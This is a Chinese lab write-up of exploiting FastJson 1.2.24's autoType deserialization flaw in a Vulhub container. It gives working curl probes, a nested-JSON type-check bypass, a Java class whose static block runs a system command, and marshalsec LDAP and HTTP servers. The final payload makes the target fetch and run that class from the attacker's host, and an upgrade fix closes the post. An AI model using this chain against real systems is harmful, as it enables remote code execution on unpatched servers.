news 2026/9/11 2:25:32

FastJson(Vulhub靶场)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
FastJson(Vulhub靶场)

0.前言与踩过的坑

暑假匆匆过去,又到了乖宝宝学习的时间了,这个其实是跑了回家前就搞完的了,现在才发出来意思一下,有些东西可能忘记写进去或者干脆不想写进去了,摆烂太久忘得可能有点多了。

FastJson 是阿里巴巴开源的 Java JSON 解析库,因其高性能在国内 Java 项目中广泛使用。2017 年披露的 CVE-2017-18349 是其最著名的漏洞之一:FastJson 1.2.24 及以下版本中 `autoType` 默认开启,攻击者可通过 `@type` 字段指定任意类触发反序列化,最终实现远程代码执行。

本文记录从零开始搭建环境、理解原理、完成攻击到踩坑总结的完整过程。

0.1 类型约束的坑——`type not match` 不是终点

直接用@type` 直接指定 JdbcRowSetImpl 时,返回 `type not match`,尝试java.lang.AutoCloseable`(一个 JDK 自带接口)当探针测试,发现同样是 `type not match` 而不是 `autoType is not support`,这说明autoType开关确确实实是开的,确实实例化了,但类型转化错误

autoType is not support → 类被拦截在加载阶段 → 漏洞不存在

type not match → 类已经加载并实例化,只是最后类型转换失败 → 漏洞存在!

但问题来了:漏洞存在 ≠ 能直接利用。`/` 接口的代码是 `JSON.parseObject(data, User.class)`,`User.class` 作为类型约束,在解析 `@type` 时做了类型检查。`JdbcRowSetImpl` 不是 `User` 的子类,直接被拦截,`setDataSourceName` 和 `setAutoCommit` 根本没被调用,JNDI 副作用不触发。

tcpdump 抓包 0 packets,搭好的 LDAP 服务没有任何请求进来——铁证。

0.2 嵌套 JSON 绕过类型检查

绕过的关键来自 Agent 搜索到的 payload:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://...","autoCommit":true}}

原理:外层 `b` 是 `Object` 类型字段,`User` 类通过类型检查 ✅。内层 `@type` 在反序列化 `b` 字段时才触发,此时没有类型约束,`JdbcRowSetImpl` 的属性设置正常执行,JNDI 触发。

1.环境准备

组件版本 / 来源用途
靶场vulhub/fastjson/1.2.24-rce (Docker)漏洞环境
攻击机Kali Linux 2025.4攻击主机
JDK 21 javacKali 自带编译恶意类(--release 8对齐目标)
marshalsec预编译 jarJNDI LDAP 转发服务
Python HTTP Server系统自带托管恶意 class 文件
nc系统自带带外回显 / 反弹 shell 监听

2.基本原理与核心代码审计

这一部分详细可以去看我之前的文章,这里只做简单介绍

2.1基本概念

FastJson 是阿里巴巴开源的高性能 JSON 解析库,核心功能是把 JSON 字符串和 Java 对象互相转换:

```java // 序列化:Java 对象 → JSON 字符串 String json = JSON.toJSONString(user); // → {"name":"Bob","age":25}
// 反序列化:JSON 字符串 → Java 对象 User user = JSON.parseObject(json, User.class); ```

2.2 为什么会爆出反序列化漏洞?

FastJson 有一个 `@type` 字段,作用是**指定反序列化的目标类**:

```json

{"@type":"com.example.User","name":"Bob","age":25}

```

正常情况下,`@type` 的值应该是业务需要的类。但 FastJson 1.2.24 的 `autoType` 默认开启,**不做任何限制**,攻击者可以指定任意 JDK 自带类或第三方库中的类。

漏洞根源: FastJson 反序列化时会自动调用目标对象的 **setter 方法**。某些 JDK 类的 setter 有副作用——比如 `JdbcRowSetImpl.setAutoCommit(true)` 会触发 JNDI 远程加载。

2.3 核心利用链

① 攻击者发送 JSON:

{"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"ldap://攻击机:1389/Evil",

"autoCommit":true}

② FastJson 反序列化:

- 实例化 JdbcRowSetImpl

- 调用 setDataSourceName("ldap://攻击机:1389/Evil") ← 记住地址

- 调用 setAutoCommit(true) ← 触发 JNDI lookup

③ JdbcRowSetImpl 内部:

connect() → InitialContext.lookup("ldap://...")

连接攻击机的 LDAP 服务 → 下载恶意类 → 执行恶意类的 static{} 代码块

```

2.4 核心代码审计

靶场控制器的关键代码:

```java // vulhub/fastjson/1.2.24-rce 的 JSONController.java @Controller public class JSONController { @RequestMapping(value = "/", method = RequestMethod.POST) @ResponseBody public User parse(@RequestBody String data) { // 关键:parseObject 的第二个参数 User.class 施加了类型约束 User user = JSON.parseObject(data, User.class); return user; } } ```

`parseObject(data, User.class)` 中的 `User.class` 是类型约束。如果直接在 JSON 顶层写 `@type` 指定非 User 类,FastJson 在解析阶段就会做类型检查并抛 `type not match`。

**绕过方式——嵌套 JSON:**

java // User 类中如果有 Object 类型的字段 public class User { private String name; private int age; private Object b; // ← Object 类型,无约束! }

当 JSON 是 `{"b":{"@type":"JdbcRowSetImpl",...}}` 时:

- 外层 `b` 是 Object,`User` 通过检查 ✅

- 内层 `@type` 在反序列化 `b` 时触发,此时没有类型约束

- `JdbcRowSetImpl` 的属性设置正常执行,JNDI 触发

3. 攻击流程(重点)

3.1 指纹识别

先确认是 FastJson 靶场:

curl -i http://192.168.153.1:8081/ # 返回: {"age":25,"name":"Bob"}

特征: 纯 JSON 响应 + 教学示例数据 → FastJson 靶场

3.2 探测 POST 解析行为

curl -i -X POST http://192.168.153.1:8081/-H "Content-Type: application/json"-d '{"name":"test","age":1}'

返回: {"age":20,"name":"test"}

注意: age:1 变成了 age:20 → age 没有 setter,保持默认值 20,大概可以猜到这个age可能是写死的,而name经历了反序列化和序列化的过程

3.3 验证 autoType 是否开启

curl -i -X POST http://192.168.153.1:8081/-H "Content-Type: application/json" -d '{"@type":"java.lang.AutoCloseable"}'

# 返回: "message":"type not match"

# 关键: 不是 "autoType is not support" → autoType 开启 ✅

判断逻辑

type not match → 类已加载,已实例化 → autoType 没拦 → 漏洞存在

autoType is not support → 类被拦截在加载前 → 安全

3.4 编写恶意类

TouchFile.java import java.lang.Runtime; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; rt.exec(commands).waitFor(); } catch (Exception e) { } } }

3.5 编译(版本对齐)

# 用 --release 8 指定目标为 JDK 8 javac --release 8 TouchFile.java

# 验证版本号

javap -verbose TouchFile.class | grep "major version"

# 输出: major version: 52 ← 52 = Java 8 ✅

3.6 启动服务

# 窗口 1: HTTP 服务(托管 TouchFile.class,端口 8000) python3 -m http.server 8000
# 窗口 2: marshalsec LDAP 服务(端口 9191,转发到 HTTP) java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \ marshalsec.jndi.LDAPRefServer \ "http://192.168.153.128:8000/#TouchFile" 9191

3.7 发送攻击 payload

curl -i -X POST http://192.168.153.1:8081/ \ -H "Content-Type: application/json" \ -d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.153.128:9191/TouchFile","autoCommit":true}}'

3.8 结果分析

返回

json

{ "timestamp":1787918123486, "status":500, "error":"Internal Server Error", "message":"set property error, autoCommit", "path":"/" }

**LDAP 日志:**

Listening on 0.0.0.0:9191 Send LDAP reference result for TouchFile redirecting to http://192.168.153.128:8000/TouchFile.class

**HTTP 日志:**

192.168.153.1 - GET /TouchFile.class HTTP/1.1 200

**攻击链全流程:**

```

① 嵌套 JSON 绕过类型检查

{"b":{"@type":"JdbcRowSetImpl",...}}

→ 外层 b 是 Object,User 类型检查通过 ✅

→ 内层 @type 在反序列化 b 时触发 autoType

② JdbcRowSetImpl.setAutoCommit(true)

→ 触发 connect() → JNDI lookup("ldap://192.168.153.128:9191/TouchFile")

③ marshalsec LDAP 服务

→ 返回重定向:http://192.168.153.128:8000/TouchFile.class

④ 靶机下载 TouchFile.class

→ HTTP 200 ✅

⑤ FastJson 加载 TouchFile 类

→ static {} 块执行 → touch /tmp/success ✅

4. 修复方案

### 4.1 升级 FastJson

FastJson 1.2.25 开始引入 `autoType` 黑名单机制,1.2.68 引入 `safeMode`。最低要求升级到 **1.2.83+**:

```xml

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.83</version>

</dependency>

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/3 17:31:20

2021秋招全流程复盘:时间表、面试技巧、内推与Offer选择

“秋招”这两个字&#xff0c;只有亲身经历过的人才知道它到底有多重。2021年的秋招尤其特殊&#xff0c;这是我作为过来人最深的感受&#xff1a;疫情之后线下招聘会在陆续恢复&#xff0c;但企业的HC&#xff08;招聘名额&#xff09;普遍收紧&#xff0c;线上投递的简历动不…

作者头像 李华
网站建设 2026/9/4 16:31:46

本地部署GGUF大模型:llama.cpp编译到RAG问答系统全流程

本地部署 GGUF 大模型时&#xff0c;很多人都遇到过这样一个情况&#xff1a;模型文件下载好了&#xff0c;llama.cpp 也能编译&#xff0c;但在某个 Web UI 或者调用脚本里一启动&#xff0c;却突然弹出一句 this is a gguf model, but no executable llama.cpp runtime (lla…

作者头像 李华
网站建设 2026/9/6 2:30:57

华为校招全解析:岗位职级、薪资待遇与面试避坑指南

每年秋招一进入十月&#xff0c;应届生群里的画风就变了。前几个月大家还在刷“如何一个月拿到大厂offer”&#xff0c;到了这会儿&#xff0c;所有人都在盯着同一个关键词&#xff1a;开奖。这里的“开奖”不是彩票&#xff0c;而是华为校招的offer结果陆续出炉。有人欢天喜地…

作者头像 李华
网站建设 2026/9/3 7:04:37

让 Linux 开发板开口说话:从零到语音播报的完整实践(待完善)

1. 缘起&#xff1a;为什么想让开发板开口说话 这篇文章将记录我让 Linux 开发板张口说话的全过程。此片文章是从宿舍桌面助手&#xff1a;从立项到完成的全过程学习记录-CSDN博客引申而来的&#xff0c;专门单开一篇用于记录测试语音播报功能从零开始的实践。 本文会从硬件准…

作者头像 李华
网站建设 2026/9/3 13:42:48

STM32WB5MM-DK手册引脚错标:PE3实为PE4的排查与避坑

前段时间调一块 STM32WB5MM-DK 开发板&#xff0c;碰到一个让我折腾了一下午的怪问题。这块板子是 ST 官方为 STM32WB5MM 模块做的评估套件&#xff0c;双核无线 MCU、BLE、802.15.4 这些功能都齐全&#xff0c;我当时在调一路外设信号&#xff0c;按用户手册把线引到 CN4 扩展…

作者头像 李华